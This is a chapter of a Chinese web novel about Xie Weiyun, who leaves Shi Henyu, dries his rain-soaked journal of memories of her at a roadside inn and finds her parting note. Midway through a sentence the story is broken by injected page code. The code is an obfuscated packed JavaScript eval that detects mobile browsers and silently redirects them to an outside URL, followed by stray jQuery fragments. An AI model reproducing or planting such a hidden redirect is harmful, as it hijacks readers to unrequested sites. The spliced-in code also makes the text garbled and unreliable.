文趣网 > 其他小说 > 今日宜诈尸 > 18. 写情书
    “白日里在街上闹事,陈三被打的那笔账,你舅母恐怕不会轻易放过去,她或许碍于陈老爷子的情面,不敢擅动你。但我不一样,我是外人。我若真的留下,日日夜夜在她眼皮子底下,她总有办法把火引到你身上。你这刚认的亲,又要被搅得不安生。”

    谢唯云大可不必解释,送她归家分道扬镳之后,他该去逍遥江湖的。

    这才是他原先的计划。

    “你骗人。”施恨玉敛垂长睫,缓缓轻轻地送声。

    谢唯云以目追去她颤动的影子,似问也答:“我怎么骗人了?”

    “她只是借口,”她顿了顿,声音低下去,把那后半截话放在喉间滚了滚,才轻轻吐出来,“你是怕别的,对么?”

    谢唯云心中一滞,一股说不清道不明的情愫在心底延续。

    他方才说了谎。

    他那么着急与她分别,是因为他怕他留久了,就真的不想走了。

    门外的人没有再应声,施恨玉旋身低头,额头抵着门板,粗粝的触感贴着眉心,她喉间滚出轻笑:“你这个人,做事的时候风风火火的,话倒是不肯好好说。”

    他真是个胆小鬼。

    -

    谢唯云也不知他是怎样回屋的。

    屋里还亮着半截蜡烛,烛泪在台上积了一小汪。

    桌案上,包袱里是他拾掇了一半的物件,来的时候没几样东西,走的时候也带不走什么。

    他伸手将那几件衣物按了按,触到衣料下硬硬的棱角,他的动作一顿。

    他翻开衣物,底下有本册子。

    这本册子他随身带了很久,原是用来记一些行路见闻和要紧事的。可不知是从什么时候起,册子里记的见闻越来越少。

    谢唯云将册子从包袱里抽出来,托在掌心里。他的指腹摸过封皮,翻开崭新的一页。

    他蘸了墨,提笔时笔尖在纸面上悬了许久,也不知从何写起。

    墨凝于笔尖,终是承受不住自身的重量,垂落下去,在纸面散作一团饱满的圆点。

    谢唯云看着那团墨点,那滴墨似乎替他诉说了心里话,又像是什么都没说。

    良久,他将笔搁回砚台边沿,翻回前面的纸页。

    “溪山,遇一人,人摔伤,先护药篓。”

    谢唯云想起那天,他为寻觅诈尸之地在溪山里徘徊了半日。雨来得急,他躲雨时远远看见一个姑娘从坡上下来,背着药篓走得慢吞吞的。雨幕把她整个人笼得模糊,只有药篓里青绿的草叶在灰蒙蒙的天色里格外显眼。

    她踩到一块松动的石头时滑了一下,人摔在泥地里,药篓翻了,可她不顾自己膝盖磕出的印子,先把散落的草药一株一株捡回篓里,还用袖子擦了擦叶面上的泥水。

    谢唯云那时想,这人还挺有意思的。城里那些姑娘女红刺破了手都能叫唤半日,她膝盖破了却只在意那几株草药。

    他当时以为不过萍水相逢,谁料命运弄人,将他们捆绑在一起。

    谢唯云又翻过几页。

    “水岸,她哼了一支曲子。不成调,断断续续的。她不知道我在看她。”

    谢唯云记得,他们下商船后的夜晚,在一处河畔漫步。施恨玉伸手去拨水面的浮萍,拨了一会儿忽然轻轻哼起一支曲子来。那调子断断续续的,像是哪首旧歌被她记岔了大半,哼着哼着就找不着调了,她又从头哼起,哼到同一个地方又断了,反复了好几回。他一直看着她,而她浑然不觉,还在跟那支断断续续的曲子较劲。

    那支曲子他到现在都还记得。

    谢唯云翻过一页又一页。

    “破庙,她睡在我肩上。头发蹭着我脖子,很痒。我不敢动,数着她的呼吸,忽然觉得若路再长一些就好了。”

    那天夜里,施恨玉靠在他肩头睡着了,发梢扫过他颈侧的皮肤,痒得他不敢动。他僵着肩背坐了很久,久到那条手臂从发麻到失去知觉。

    谢唯云不觉露出淡淡的笑意。

    他执起毫笔,撇下一笔残墨。

    “她无意识的时候会往旁边的人这边靠。这不好,她太容易信人了。可……”

    这行字到这里断了,他想了很久也没想好怎么接上,最终还是搁了笔。

    灯火簇在他的眼底,照出隐忍的一段愁绪。

    -

    月隐云透,苍穹初醒。

    通院好景,谢唯云也无暇欣赏,疾行踏槛而过。

    门房睡眼惺忪地替他开了侧门,谢唯云牵了马,忍不住往陈府的方向再看一眼,高高的院墙却将里面的一切都遮住了。

    他收回目光,翻身上马,催马往城门方向去。

    晨风灌进他的衣襟里,日头从云层后头露出半边脸。

    谢唯云继续远行。

    雾还没大散,官道两旁的田埂上覆着一层薄薄的露水,稻禾低垂着,在晨风里微微摇晃。

    身后俶尔传来急促的马蹄声,他不觉放慢速度。

    奚孤行一路赶过来,追上他后从怀里摸出一只用红线系着的锦囊,朝他一掷。

    谢唯云抬手接住了,锦囊很轻,捏在手里几乎没什么分量。

    “她让我给你的。”

    这个她,自然是指施恨玉。

    “她让你路上带着,保平安。她还让我告诉你,袖箭她会自己练,不用你操心。”奚孤行神情复杂地看着谢唯云。

    谢唯云低头看着掌心里那只锦囊,针脚歪歪扭扭的,像是临时赶出来的。

    他将锦囊收进怀里,没有多说什么,只朝奚孤行颔首:“你回去告诉她,袖箭的准头要注意风,练的时候选个没什么风的日子。”

    奚孤行眉峰皱起,坐在马背上看了他一眼,想说些什么,却又咽回去了。

    他调转马头时,谢唯云又叫住了他:“还有一桩,她在这府里刚认了亲,舅母那房里的人未必善相与。若有什么事,你替她挡着些。”

    奚孤行背对着他,只抬起一只手摆了摆,以示回应。

    谢唯云策马前行。

    走了约莫半个时辰,天色竟暗了下来。日头被一层厚厚的乌云遮住了,风刮过来,带着潮湿的土腥气。

    谢唯云抬眼看了看天色,眉心一拧,催马加快了些速度,可雨来得比他想得快。

    豆大的雨点砸下来,噼里啪啦地打在土路上。他眯眼望向四周,看见前方不远处有一家小小的路头客栈。

    他扬鞭赶到客栈,翻身下来,牵着马绕到檐下拴好,快步推开了客栈的门。

    柜台后面坐着一个打盹的店家,被推门的动静惊醒,抬眼看见一个浑身滴水的年轻人站在门口,便从柜台后走出来,手里递过一条干布巾。

    雨水顺着额前的碎发往下淌,谢唯云身上的衣料已经湿了大半,更何况包袱。

    谢唯云接过布巾道了声谢,将湿透的外衫脱下来搭在椅背上,擦了擦脸上的雨水,要了一壶热茶。

    他急急掏出手册。

    手册的边角潮了,水痕从纸边往里漫,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705592|207486||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    墨迹也模糊。

    谢唯云找店家要了油灯,将那手册一张一张地摊着,凑到烛火旁边烘着。

    那店家端着热茶从柜台后绕出来,在他旁边站定了,低头看了看手册,又看了看他小心翼翼的模样,也不急着走,就那样叉着腰看了好一会儿。

    “客官,”店家慢悠悠地开口,“您这是烘什么宝贝呢?别的客人淋了雨都急着烘衣裳,您倒好,衣裳搭在椅背上晾着,先伺候这本册子。”

    “没什么,记了些杂事。”谢唯云将手记收拢些许。

    店家像是得了趣,在他对面坐下来,自顾自道:“我在这儿开店二十来年了,见过的客人多了去。下雨天,有人攒着的家书,湿了半边,急得跟什么似的。可像您这样,每一页都翻来覆去地烘,烘完了还要对着灯看半天的,倒是不多见。想必那纸上写的,是比很要紧的东西。”

    “客官,您这烘的莫不是情书罢?”

    谢唯云的手指一抖,差点把手里那张纸页的角捏皱了。他飞快地将纸页重新展平,耳根的那抹红从脖颈底下漫上来。

    “不是情书。”

    店家用一种了然于心的语气道:“那就是记的姑娘的事儿。”

    谢唯云动了动嘴唇想说什么,可手里还捏着那半干不湿的纸页,一时不知道是该先辩解还是先放下。

    店家瞧见他这副神情,摆了摆手,脸上仍然挂着那种温和的笑:“行了行了,客官您接着烘。”

    “不过我跟您说,您这纸烘干了,回头该说的话还是得当面说。纸上写的再多,不如见着人当面一句。”

    店家起身,不再打扰他,到柜前忙活去了。

    手记摊开在眼前,墨色被水冲淡的地方泛着浅灰的晕痕,字迹边缘模糊了,却还留着原来的轮廓。他低头看了很久,眸光在每一处模糊的笔画上都停了一停,也在心里默默把那些字重新念了一遍。

    “店家,能不能借我一支笔?还有墨。”谢唯云走向店家,恳切地问。

    店家乐呵呵地应了,转身从柜台底下的抽匣里翻出一支半旧的狼毫笔,又拿出一方磨得只剩薄薄一层的墨锭与一块端砚,一并搁在柜面上:“笔尖可能不太尖了,客官将就着用。”

    谢唯云道了谢,将笔墨砚端回桌前。

    他将墨锭在端砚上慢慢地磨,砚心那一圈被墨润开的凹痕里渐渐蓄起一层泛着漆光的墨汁。他拈起狼毫笔,笔尖在砚沿上抿了抿,将多余的墨汁抿去。

    随后垂首,一笔一画补齐所有模糊的字迹。

    到末页时,笔尖的墨已经半干了,他重新抿了抿,又低下头。

    他犹豫了很久,在那张纸页的下方,补写了一行新字。

    “今日方知,相遇二字,是命运的恩赐。”

    谢唯云蓦然想起施恨玉给他保平安的锦囊。

    他伸手探入衣中,摸出那只锦囊。锦囊被衣料隔着,没有湿。

    他低头看了看上面红线打的结扣,指腹轻轻摩挲着,慢慢解开了红线。

    锦囊里装着一张叠着的的字条,纸色糙黄,边角裁得不甚齐整,像是从哪本旧书上裁下来的一角。

    谢唯云展开字条,油灯的光落在纸面上,将那几行字照得分明。

    “你走之后,我便是无根之人。”

    窗外的雨声不知何时小了许多,雨势疏了,檐角滴落的雨珠从连珠变成断线。

    外头雨意薄,似有还无。

    谢唯云望着客栈外的马,霍然起身。